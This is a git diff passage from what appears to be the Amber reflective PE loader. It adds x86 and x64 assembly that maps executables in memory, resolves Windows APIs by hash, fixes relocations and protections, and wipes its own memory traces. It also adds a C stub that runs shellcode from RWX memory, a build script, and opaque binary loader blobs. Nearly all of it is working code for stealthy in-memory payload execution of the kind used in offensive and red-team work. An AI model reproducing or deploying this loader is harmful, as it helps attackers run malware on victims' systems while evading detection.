Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,0x02 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],0x04 ; Increase the import names table index - add dword [esp+4],0x04 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0x00 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start - -; ========== API ========== -%include "CRC32_API/x86_crc32_api.asm" - -PE_start: - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - ret ; Return to AOE \ No newline at end of file diff --git a/loader/loader-x64/amber_loader-x64-lite.bin b/loader/loader-x64/amber_loader-x64-lite.bin new file mode 100644 index 0000000000000000000000000000000000000000..48264063c9da7379acb42bd06b9cfd6bba1bc0f8 GIT binary patch literal 2285 zcmY*bU1$_n6rM>oG0>DrN`zF?x}_roj1t9%UAo1+anhWP8`=Cv&5tD*u#`TO8HqI1 zjk610t|Ki7*3v=?zLfSsXffF!b~l^m$7)MDjv09vUQ=6YYsMT)Iy|dA}FmunG z``vTSJ@=gNt}WrO8wSViB1vim`UlWu`z-2!P5^yi-^}CU0~>PV-v!S1r|WRs9%pqv zrmd?4`TirIi(T1;wsxS`fX)VKV)a~4cd{=!qpJZrsSM3nHCeD)WO`ImB`F&mjN{z{5pLwiM(zjd^&h`{TJ|b9i8OV1v zw!6f>_ir|9j>}*sD{)Docj?#-U>F;iV{o9mrz_bGgNq?dEoKNNA}Y@^|Dm`uCxSJg zx?=>DBAiwDl7u~y5;={U5gA`VQ(%tDBs@@(m5gPpOzNYj)oNUBj^=T32Z}raZom%@ z*V}Ucdibc1D3>_6MRNnHqVc1D2Cb7KhM*M@7Dmv%6yq;4axRwn#+C|sYNGM}QeaNF zFgV6H(33l!r9O699a9c8BD`ll4$vv+ZN!ti%#NQ&pl}e4>jsSntYW!= zUJh<)sy4lnQ6J+w%yhC+O&OBN;6hfBq@X<7AeWVb8P8*lF0=yPlwPh}2+4$|h`F#t z!uLPZuY?~eN9HqgKoe+5$KxVJPvFLNpw}~ZgmpTZBrUn3!XUAzh>u0&574pLel)H` zc$73Av{ad34HQSGjJHJY(`VLDyhr#4;6Cz!7UGc?fjM3jWcdxK+J>+G*?KEjkSC1V zw;yG*bd(J9vg2zHOpRA}sdmAz5UGjRqFgvNPOxxYn}6p*hFR(uiUIcHzRxG(QxeS_w;_4Qy* z$l%5LHReU}rnlm1uw3ueC_^p}3T6#+RfC)a@2YbAd7Q-Nr~-MMf18haIM}S!+|QGi z=KbIo)?zQC9{XVe+m!<%s-IU&PKGtvx~PUweij{mZJQGL8ll4+7Qh`L6NLxzv)han zjgAAS2B0_Wt^Z`R)?OKU@eJm|UhKP5Ym1fm2T#& zC9;t@?hIEQdUVt2L%>{{4`R5${N-TvyMcAM!TXzDr3^I#ustEW8y$O>bOqQ(oG|V< zCS1UFBPEF9$+h+J|H{W)L{eSj-X~1R4+zkiIAGF?9A-##81W);9 zd=3(k{nv#UbK@`^#+RnlPNsPY5}`|f$S3fTG6e#Uk%gWnBq?;6yTWQMT_CX%4&9~E zn_r;d)_3ISrT-*NB+{D*oy4ge>O}!jqK7e!!T^c!8v@OU_(Wt%M9104lwMpLi4Xg6 zng_^gib1w{9{{T<;iDfD;KNzLc0SP|4Rk4p*T&lALK=R3$L4wA462-{M6=Ia4$7$t zRAJe%-72>EEkY9{@n91%Z%z_3;pegXmB_1z;mZk*x$q?vbK!I5P5ba$T#}VQr*nLk z!U<7rXt@;Yops9P&ixUcH(nBCQF)*{=@e7$Vp+~2haiu!e54)Yw!pnYEpfJ{pHW) z8HZR{P!2}4AGIL{ + test eax,eax + js loc_14000386c + mov rax,QWORD [rsp+0x248] +loc_140003863: + add rsp,0x250 + pop rdi + ret +loc_14000386c: + mov eax,0x0 + jmp loc_140003863 +loc_140003873: + mov WORD [rsp+0x230],0x0 + mov WORD [rsp+0x232],0x2 + lea rax,[rsp+0x20] + mov QWORD [rsp+0x238],rax + jmp loc_140003837 \ No newline at end of file diff --git a/loader/loader-x64/inc/map_image.asm b/loader/loader-x64/inc/map_image.asm new file mode 100644 index 0000000..b7cb865 --- /dev/null +++ b/loader/loader-x64/inc/map_image.asm @@ -0,0 +1,61 @@ +[BITS 64] + + +map_image: + push rbp + push rdi + push rsi + push rbx + sub rsp,0x48 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + mov eax,0x0 + cmp DWORD [rdi],0x4550 + jne loc_1400020b8 + mov QWORD [rsp+0x38],0x0 + mov eax,DWORD [rdi+0x50] + mov QWORD [rsp+0x30],rax + lea rdx,[rsp+0x38] + mov DWORD [rsp+0x28],0x4 + mov DWORD [rsp+0x20],0x103000 + lea r9,[rsp+0x30] + mov r8d,0x0 + mov rcx,0xffffffffffffffff + mov r10, 0x99CE7C55 + call api_call + call rax ; + mov edx,eax + mov eax,0x0 + test edx,edx + js loc_1400020b8 + mov r8d,DWORD [rdi+0x54] + mov rdx,rbp + mov rcx,QWORD [rsp+0x38] + call memcpy + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + cmp WORD [rdi+0x6],0x0 + je loc_1400020b3 + mov esi,0x0 +loc_14000208d: + mov ecx,DWORD [rbx+0xc] + add rcx,QWORD [rsp+0x38] + mov edx,DWORD [rbx+0x14] + add rdx,rbp + mov r8d,DWORD [rbx+0x10] + call memcpy + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jg loc_14000208d +loc_1400020b3: + mov rax,QWORD [rsp+0x38] +loc_1400020b8: + add rsp,0x48 + pop rbx + pop rsi + pop rdi + pop rbp + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/memcpy.asm b/loader/loader-x64/inc/memcpy.asm new file mode 100644 index 0000000..7148460 --- /dev/null +++ b/loader/loader-x64/inc/memcpy.asm @@ -0,0 +1,17 @@ +[BITS 64] + +; memcpy(&dst, &src, size) +; RCX = &dst +; RDX = &src +; R8 = size +memcpy: + push rsi + push rdi + mov rdi,rcx + mov rsi,rdx + mov rcx,r8 +copy_byte: + rep movsb ; Copy the CX number of bytes from RSI to RDI + pop rdi ; Restore RDI + pop rsi ; Restore RSI + ret ; Return \ No newline at end of file diff --git a/loader/loader-x64/inc/protect_sections.asm b/loader/loader-x64/inc/protect_sections.asm new file mode 100644 index 0000000..2d5941e --- /dev/null +++ b/loader/loader-x64/inc/protect_sections.asm @@ -0,0 +1,132 @@ +[BITS 64] + + +protect_sections: + push r14 + push r13 + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x50 + mov rbp,rcx + movsxd rdi,DWORD [rcx+0x3c] + add rdi,rcx + movzx eax,WORD [rdi+0x14] + lea rbx,[rdi+rax*1+0x18] + mov QWORD [rsp+0x48],0x0 + cmp WORD [rdi+0x6],0x0 + je loc_140002e87 + mov esi,0x0 + mov r12d,0x0 + lea r14,[rsp+0x40] + lea r13,[rsp+0x48] + jmp loc_140002f50 +loc_140002e38: + mov ecx,0x1 +loc_140002e3d: + and eax,0x60000000 + mov r8d,0x1 + cmp eax,0x60000000 + mov r9d,0x20 + mov eax,0x80 + cmovne r9d,eax + jmp loc_140002eed +loc_140002e61: + mov r9d,0x20 + jmp loc_140002efd +loc_140002e6c: + mov eax,0x0 + jmp loc_140002e78 +loc_140002e73: + mov eax,0x1 +loc_140002e78: + add rsp,0x50 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + pop r13 + pop r14 + ret +loc_140002e87: + mov eax,0x1 + jmp loc_140002e78 +loc_140002e8e: + mov ecx,0x1 + mov r8d,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002e9e: + mov ecx,r12d + test eax,0x20000000 + je loc_140002eda + mov ecx,0x0 + test eax,eax + js loc_140002e3d + mov ecx,eax + shr ecx,0x1f + mov r8d,ecx + mov ecx,r12d + mov r9d,0x10 + jmp loc_140002edd +loc_140002ec4: + test eax,0x20000000 + jne loc_140002e38 + mov ecx,0x1 + mov r9d,0x4 +loc_140002eda: + mov r8d,r12d +loc_140002edd: + and eax,0x60000000 + cmp eax,0x60000000 + je loc_140002e61 +loc_140002eed: + test cl,cl + je loc_140002efd + test r8b,r8b + mov eax,0x40 + cmovne r9d,eax +loc_140002efd: + mov eax,DWORD [rdx+0xc] + add rax,rbp + mov QWORD [rsp+0x48],rax + mov eax,DWORD [rdx+0x10] + mov QWORD [rsp+0x40],rax + mov DWORD [rsp+0x3c],0x0 + lea rax,[rsp+0x3c] + mov QWORD [rsp+0x20],rax + mov r8,r14 + mov rdx,r13 + mov rcx,0xffffffffffffffff + mov r10, 0x6EDE4D41 + call api_call + call rax ; + test eax,eax + js loc_140002e6c +loc_140002f3d: + add esi,0x1 + add rbx,0x28 + movzx eax,WORD [rdi+0x6] + cmp eax,esi + jle loc_140002e73 +loc_140002f50: + mov rdx,rbx + mov eax,DWORD [rbx+0x24] + test eax,eax + je loc_140002f3d + mov r9d,eax + sar r9d,0x1f + and r9d,0xffffffc8 + add r9d,0x40 + test eax,0x40000000 + je loc_140002e9e + test eax,eax + js loc_140002ec4 + test eax,0x20000000 + jne loc_140002e8e + mov ecx,0x1 + mov r9d,0x2 + jmp loc_140002eda \ No newline at end of file diff --git a/loader/loader-x64/inc/relocate_image.asm b/loader/loader-x64/inc/relocate_image.asm new file mode 100644 index 0000000..ad8552a --- /dev/null +++ b/loader/loader-x64/inc/relocate_image.asm @@ -0,0 +1,58 @@ +[BITS 64] + + +relocate_image: + mov r9,rcx + movsxd rdx,DWORD [rcx+0x3c] + add rdx,rcx + mov eax,DWORD [rdx+0xb0] + mov ecx,0x0 + test eax,eax + je loc_14000261a + mov eax,eax + lea rcx,[r9+rax*1] + mov r10,r9 + sub r10,QWORD [rdx+0x30] + cmp DWORD [rcx],0x0 + jne loc_140002601 + mov ecx,0x1 + jmp loc_14000261a +loc_1400025bd: + mov edx,DWORD [rcx] + movzx r8d,WORD [rax] + and r8d,0xfff + add rdx,r8 + add QWORD [r9+rdx*1],r10 +loc_1400025d1: + add rax,0x2 + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + je loc_1400025f9 +loc_1400025e0: + movzx edx,BYTE [rax+0x1] + mov r8d,edx + and r8d,0xfffffff0 + cmp r8b,0xa0 + je loc_1400025bd + cmp dl,0xf + jbe loc_1400025d1 + jmp loc_1400025d1 +loc_1400025f9: + mov rcx,rax +loc_1400025fc: + cmp DWORD [rcx],0x0 + je loc_140002615 +loc_140002601: + lea rax,[rcx+0x8] + mov edx,DWORD [rcx+0x4] + add rdx,rcx + cmp rax,rdx + jne loc_1400025e0 + mov rcx,rdx + jmp loc_1400025fc +loc_140002615: + mov ecx,0x1 +loc_14000261a: + mov eax,ecx + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/resolve_imports.asm b/loader/loader-x64/inc/resolve_imports.asm new file mode 100644 index 0000000..448373b --- /dev/null +++ b/loader/loader-x64/inc/resolve_imports.asm @@ -0,0 +1,85 @@ +[BITS 64] + + +resolve_imports: + push r12 + push rbp + push rdi + push rsi + push rbx + sub rsp,0x20 + mov rbp,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0x90] + mov edx,0x0 + test eax,eax + je loc_140002966 + mov eax,eax + lea r12,[rcx+rax*1] + mov ecx,DWORD [r12+0xc] + test ecx,ecx + jne loc_14000292f + mov edx,0x1 + jmp loc_140002966 +loc_1400028cf: + mov edx,0x0 + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_1400028e4: + add rbx,0x8 + add rsi,0x8 + mov r8,QWORD [rbx] + test r8,r8 + je loc_140002922 +loc_1400028f4: + test r8,r8 + js loc_1400028cf + lea rcx,[rbp+r8*1+0x2] + mov edx,0x0 + call calc_crc + mov edx,eax + mov r8d,0xffffffff + mov rcx,rdi + call get_proc_by_crc + test rax,rax + je loc_1400028e4 + mov QWORD [rsi],rax +loc_140002920: + jmp loc_1400028e4 +loc_140002922: + add r12,0x14 + mov ecx,DWORD [r12+0xc] + test ecx,ecx + je loc_14000295a +loc_14000292f: + mov ecx,ecx + add rcx,rbp + call load_module + mov rdi,rax + test rax,rax + je loc_140002961 + mov ebx,DWORD [r12] + add rbx,rbp + mov esi,DWORD [r12+0x10] + add rsi,rbp + mov r8,QWORD [rbx] + test r8,r8 + jne loc_1400028f4 + jmp loc_140002922 +loc_14000295a: + mov edx,0x1 + jmp loc_140002966 +loc_140002961: + mov edx,0x0 +loc_140002966: + mov eax,edx + add rsp,0x20 + pop rbx + pop rsi + pop rdi + pop rbp + pop r12 + ret \ No newline at end of file diff --git a/loader/loader-x64/inc/run_tls_callbacks.asm b/loader/loader-x64/inc/run_tls_callbacks.asm new file mode 100644 index 0000000..65ca260 --- /dev/null +++ b/loader/loader-x64/inc/run_tls_callbacks.asm @@ -0,0 +1,36 @@ +[BITS 64] + + +run_tls_callbacks: + push rsi + push rbx + sub rsp,0x28 + mov rsi,rcx + movsxd rax,DWORD [rcx+0x3c] + mov eax,DWORD [rcx+rax*1+0xd0] + mov edx,0x0 + test eax,eax + je loc_1400033ad + mov eax,eax + mov rbx,QWORD [rcx+rax*1+0x18] + mov edx,0x1 + test rbx,rbx + jne loc_1400033ca +loc_1400033ad: + mov eax,edx + add rsp,0x28 + pop rbx + pop rsi + ret +loc_1400033b6: + mov r8d,0x0 + mov edx,0x1 + mov rcx,rsi + call rax + add rbx,0x8 +loc_1400033ca: + mov rax,QWORD [rbx] + test rax,rax + jne loc_1400033b6 + mov edx,0x1 + jmp loc_1400033ad \ No newline at end of file diff --git a/loader/loader-x64/loader-x64-lite.asm b/loader/loader-x64/loader-x64-lite.asm new file mode 100644 index 0000000..9b357f2 --- /dev/null +++ b/loader/loader-x64/loader-x64-lite.asm @@ -0,0 +1,52 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 +loader_size equ pe_start-loader + + + call loader ; Get the address of PE image to stack +loader: + pop rsi ; Get current address to RSI + add rsi, loader_size ; Add the total loader size + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + ;------------------------ FUNCTIONS ------------------------------------- +pe_start: \ No newline at end of file diff --git a/loader/loader-x64/loader-x64.asm b/loader/loader-x64/loader-x64.asm new file mode 100644 index 0000000..0a11632 --- /dev/null +++ b/loader/loader-x64/loader-x64.asm @@ -0,0 +1,61 @@ +;#==============================================# +;# X64 Reflective Loader # +;# Author: Ege Balcı # +;# Version: 3.0 # +;#==============================================# +; +[BITS 64] + +%define e_lfanew 0x3C +%define _AddressOfEntry 0x28 + + call start ; Get the address of PE image to stack + incbin "putty.exe" ; PE file. +start: + pop rsi ; Get the address of PE to RSI + push rbp ; Save RBP + mov rbp,rsp ; Create a stack frame + mov rcx,rsi ; Move the image address as first parameter + call map_image ; Perform PE image mapping + mov rdi, rax ; Get the address of mapped PE image into RDI + mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter + call resolve_imports ; Resolve image imports + mov rcx, rdi ; Set the mapped image address as first parameter + call relocate_image ; Perform image base relocation + mov rcx, rdi ; Set the mapped image address as first parameter + call protect_sections ; Apply proper section memory protections + mov rcx, rdi ; Set the mapped image address as first parameter + call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯ + xor rax, rax ; Clear out RAX + mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset + mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX + add rax,rdi ; Add the AOE onto new image base + jmp wipe ; Start wiping memory artifacts... + ; ------------------------ FUNCTIONS ------------------------------------ + %include "./inc/memcpy.asm" + %include "./inc/calc_crc.asm" + %include "./inc/map_image.asm" + %include "./inc/load_module.asm" + %include "./inc/relocate_image.asm" + %include "./inc/resolve_imports.asm" + %include "./inc/get_proc_by_crc.asm" + %include "./inc/get_module_by_crc.asm" + %include "./inc/protect_sections.asm" + %include "./inc/run_tls_callbacks.asm" + %include "../crc32_api/crc32_api_x64.asm" + ;------------------------ FUNCTIONS ------------------------------------- +wipe: + wipe_len_delta equ wipe_end-wipe + call $+5 ; Get current EIP to stack + pop rcx ; Pop currect EIP to RCX + sub rcx,rsi ; Calculate the size of the PE file + add rcx,wipe_len_delta ; Add the size of wipe code + mov rdi,rsi ; Move the PE address to RDI + sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well +wipe_end: + rep stosb ; Store AL into RDI and decrement RDI until RCX = 0 + ; -------------------- SWITCH TO PE ---------------------------- + cld ; Clear direction flags + mov rsp, rbp ; Restore stack frame + pop rbp ; Restore RBP + jmp rax ; Jmp to the PE->AOE \ No newline at end of file diff --git a/loader/loader-x64/stub.c b/loader/loader-x64/stub.c new file mode 100755 index 0000000..151a4ad --- /dev/null +++ b/loader/loader-x64/stub.c @@ -0,0 +1,10 @@ +#include +#include "shellcode.h" + +int main(int argc, char const *argv[]) +{ + char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(BUFFER, shellcode, sizeof(shellcode)); + (*(void(*)())BUFFER)(); + return 0; +} diff --git a/loader/loader-x86/amber_loader-x86-lite.bin b/loader/loader-x86/amber_loader-x86-lite.bin new file mode 100644 index 0000000000000000000000000000000000000000..b6bdbc30a229424db0ae54f6c3c9d037a231cd0b GIT binary patch literal 2078 zcmY*aYitx%6rSl$%Y-bM6&J0r32Sm8P250{HR;kZ_OZ24N-S-m#Xd3EkVp)X8Ev!; zTV^+Ub2In@VkG)Q4Sx*y#}HZ?1KaM>f*S235EN68ifow%$}{EV`rSLNk4bj#x#ym9 z?m6Fi+>C^;wP)x#Rg$*Qt6MYs`MxGomm^7;QU3Q$F8+cGB&m&6>MXjTK%RX}r(3d@ zxp>27)~zzr%QpG$9NyN}ih~r35{1wVl-&nq<*lB6Yi zK@Uesi1S!w4ULilZ2gMM_DO|4$p#O6FZc*j;`b!`hoC884pXW?8w{!$q!p>ile@ zk5)sio+w;p?5}Lr8j`J40TlBhGkeFmF)OV%wYIgS8tQtc!$6vSPD-#0$4Lka|LiUj zII$0e@aN8vSh1wVKgC`kLr1JZIi^1?nfK(e4tkIfs9A$KoLmXgt|tMI1t1g2&cz+t zNx!Fq)<*+YMz&_N<_+7uiDLtjYx7tE6Gu-1Jbc-C_=IyT^B#&|4jvzj`IxKPlje>$ zwWWlE&P)fK=XNBCQ{0Ih4tIdYg&U5|bBRRyspDzU*?})0Ifu3JhJ2mgcwtZ2S|^#M zeKJm**R)=>=l858NuGtWu}HF#Ids%hr9{pc`KS|_{%l>Fp^svZ3XOBI2im)resq4L zgD_zD>@syu)I3MOcN}3*!0nb(2ws%13Y{Iyjs5F{7C(lK9bLka2(S`wB54{zb?P%5 z{1+aolg!89C6Y!C&9hR9HKZ^Pc46RiejY?Snw!HbAoDnz1yAJ#2P+EK-t20pX`Yj` zaGf7T;ofPikTYEC$`eQr!)AaV0keF1!?WARuQ3lfKe!;}3IMHi$c>I(+U*4#v9jWXZg1yEhn-OQQdoHbcjv2zK!4U)#Fj-S%t_aPhn4%R zw2F)7n(($;;MFMbb}=vKhZWq^ae?Fxtu?|c`ee!rXosR?wd|Dk2XQ>bUjWy3uBb38 zT`j_J%k35&9=N%jD@Z&EL1SIN4=a6uVIE!qs{IrUN<4+_!d_ntq*gKFtQ7L*0dZMB zpE0NKlZ1{C*Ww=lo>&)58(umaPxh7I9I7lz+Ic;BO1(fsXQe(YVZ>9!4Txk#i4RHi zf)4W)mT zSi=1-(c&H)azgTDP*-?R_kZ)pslJ_uE`$Nw|C`) zg8WgPy>h#@fz|q0mCmZ4>YOZ-M>n%=L3x~Q$e#?e?%542%;fV&g>2Df^L}wRG5>62 gjYJ;rVBU?aF#uVG$s@pwG&OBcwY9y@7CQ(21_iO_KL7v# literal 0 HcmV?d00001 diff --git a/loader/loader-x86/build.sh b/loader/loader-x86/build.sh new file mode 100755 index 0000000..82dc6ef --- /dev/null +++ b/loader/loader-x86/build.sh @@ -0,0 +1,33 @@ +#!/bin/bash +## ANSI Colors (FG & BG) +RED="$(printf '\033[31m')" GREEN="$(printf '\033[32m')" YELLOW="$(printf '\033[33m')" BLUE="$(printf '\033[34m')" +MAGENTA="$(printf '\033[35m')" CYAN="$(printf '\033[36m')" WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')" +REDBG="$(printf '\033[41m')" GREENBG="$(printf '\033[42m')" YELLOWBG="$(printf '\033[43m')" BLUEBG="$(printf '\033[44m')" +MAGENTABG="$(printf '\033[45m')" CYANBG="$(printf '\033[46m')" WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')" +RESET="$(printf '\e[0m')" + +print_warning() { + echo ${YELLOW}"[!] ${RESET}${1}" +} +print_error() { + echo "${RED}[-] ${RESET}${1}" +} +print_fatal() { + echo -e ${RED}"[!] $1\n${RESET}" + kill -10 $$ +} +print_good() { + echo "${GREEN}[+] ${RESET}${1}" +} +print_status() { + echo "${YELLOW}[*] ${RESET}${1}" +} + +nasm -f bin loader-x86.asm -o shellcode || print_fatal "nasm failed!" +print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`" +[[ -f shellcode ]] && xxd -i shellcode shellcode.h + +i686-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!" +cp test.exe /tmp/ +rm shellcode shellcode.h +print_good "Build done!" diff --git a/loader/loader-x86/inc/calc_crc.asm b/loader/loader-x86/inc/calc_crc.asm new file mode 100644 index 0000000..26c8e6d --- /dev/null +++ b/loader/loader-x86/inc/calc_crc.asm @@ -0,0 +1,31 @@ +[BITS 32] + + +calc_crc: +loc_40b22f: mov eax,DWORD [esp+0x4] +loc_40b233: mov edx,DWORD [esp+0x8] +loc_40b237: test dx,dx +loc_40b23a: je loc_40b256 +loc_40b23c: mov ecx,eax +loc_40b23e: movzx edx,dx +loc_40b241: add eax,edx +loc_40b243: mov edx,0x0 +loc_40b248: crc32 edx,BYTE [ecx] +loc_40b24d: add ecx,0x1 +loc_40b250: cmp ecx,eax +loc_40b252: jne loc_40b248 +loc_40b254: jmp loc_40b275 +loc_40b256: movzx ecx,BYTE [eax] +loc_40b259: test cl,cl +loc_40b25b: je loc_40b278 +loc_40b25d: add eax,0x1 +loc_40b260: mov edx,0x0 +loc_40b265: crc32 edx,cl +loc_40b26a: add eax,0x1 +loc_40b26d: movzx ecx,BYTE [eax-0x1] +loc_40b271: test cl,cl +loc_40b273: jne loc_40b265 +loc_40b275: mov eax,edx +loc_40b277: ret +loc_40b278: mov edx,0x0 +loc_40b27d: jmp loc_40b275 diff --git a/loader/loader-x86/inc/get_module_by_crc.asm b/loader/loader-x86/inc/get_module_by_crc.asm new file mode 100644 index 0000000..c2432d0 --- /dev/null +++ b/loader/loader-x86/inc/get_module_by_crc.asm @@ -0,0 +1,35 @@ +[BITS 32] + + +get_module_by_crc: +loc_4077e7: push edi +loc_4077e8: push esi +loc_4077e9: push ebx +loc_4077ea: sub esp,0x8 +loc_4077ed: mov edi,DWORD [esp+0x18] +loc_4077f1: mov eax,fs:0x30 +loc_4077f7: mov eax,DWORD [eax+0xc] +loc_4077fa: lea esi,[eax+0x14] +loc_4077fd: mov ebx,DWORD [eax+0x14] +loc_407800: cmp esi,ebx +loc_407802: je loc_407832 +loc_407804: movzx eax,WORD [ebx+0x24] +loc_407808: mov DWORD [esp+0x4],eax +loc_40780c: mov eax,DWORD [ebx+0x28] +loc_40780f: mov DWORD [esp],eax +loc_407812: call calc_crc +loc_407817: cmp eax,edi +loc_407819: je loc_407828 +loc_40781b: mov ebx,DWORD [ebx] +loc_40781d: cmp esi,ebx +loc_40781f: jne loc_407804 +loc_407821: mov eax,0x0 +loc_407826: jmp loc_40782b +loc_407828: mov eax,DWORD [ebx+0x10] +loc_40782b: add esp,0x8 +loc_40782e: pop ebx +loc_40782f: pop esi +loc_407830: pop edi +loc_407831: ret +loc_407832: mov eax,0x0 +loc_407837: jmp loc_40782b diff --git a/loader/loader-x86/inc/get_proc_by_crc.asm b/loader/loader-x86/inc/get_proc_by_crc.asm new file mode 100644 index 0000000..41d9993 --- /dev/null +++ b/loader/loader-x86/inc/get_proc_by_crc.asm @@ -0,0 +1,124 @@ +[BITS 32] + + +get_proc_by_crc: +loc_408e97: push ebp +loc_408e98: mov ebp,esp +loc_408e9a: push edi +loc_408e9b: push esi +loc_408e9c: push ebx +loc_408e9d: and esp,0xfffffff0 +loc_408ea0: sub esp,0x240 +loc_408ea6: mov ebx,DWORD [ebp+0x8] +loc_408ea9: mov eax,ebx +loc_408eab: add eax,DWORD [ebx+0x3c] +loc_408eae: mov edx,ebx +loc_408eb0: add edx,DWORD [eax+0x78] +loc_408eb3: mov eax,DWORD [eax+0x7c] +loc_408eb6: mov DWORD [esp+0x1c],eax +loc_408eba: mov edi,DWORD [edx+0x20] +loc_408ebd: mov eax,DWORD [edx+0x1c] +loc_408ec0: mov DWORD [esp+0x2c],eax +loc_408ec4: mov eax,DWORD [edx+0x24] +loc_408ec7: mov DWORD [esp+0x28],eax +loc_408ecb: mov ecx,DWORD [edx+0x18] +loc_408ece: test ecx,ecx +loc_408ed0: je loc_409041 +loc_408ed6: mov esi,0x0 +loc_408edb: add edi,ebx +loc_408edd: mov DWORD [esp+0x24],edx +loc_408ee1: mov DWORD [esp+0x20],ecx +loc_408ee5: mov DWORD [esp+0x4],0x0 +loc_408eed: mov eax,ebx +loc_408eef: add eax,DWORD [edi+esi*4] +loc_408ef2: mov DWORD [esp],eax +loc_408ef5: call calc_crc +loc_408efa: cmp DWORD [ebp+0x10],esi +loc_408efd: je loc_408f19 +loc_408eff: cmp eax,DWORD [ebp+0xc] +loc_408f02: je loc_408f19 +loc_408f04: add esi,0x1 +loc_408f07: mov eax,DWORD [esp+0x20] +loc_408f0b: cmp esi,eax +loc_408f0d: jne loc_408ee5 +loc_408f0f: mov eax,0x0 +loc_408f14: jmp loc_409023 +loc_408f19: mov edx,DWORD [esp+0x24] +loc_408f1d: lea eax,[ebx+esi*2] +loc_408f20: mov ecx,DWORD [esp+0x28] +loc_408f24: movzx eax,WORD [eax+ecx*1] +loc_408f28: lea eax,[ebx+eax*4] +loc_408f2b: mov ecx,DWORD [esp+0x2c] +loc_408f2f: add ebx,DWORD [eax+ecx*1] +loc_408f32: cmp ebx,edx +loc_408f34: jb loc_409021 +loc_408f3a: mov eax,DWORD [esp+0x1c] 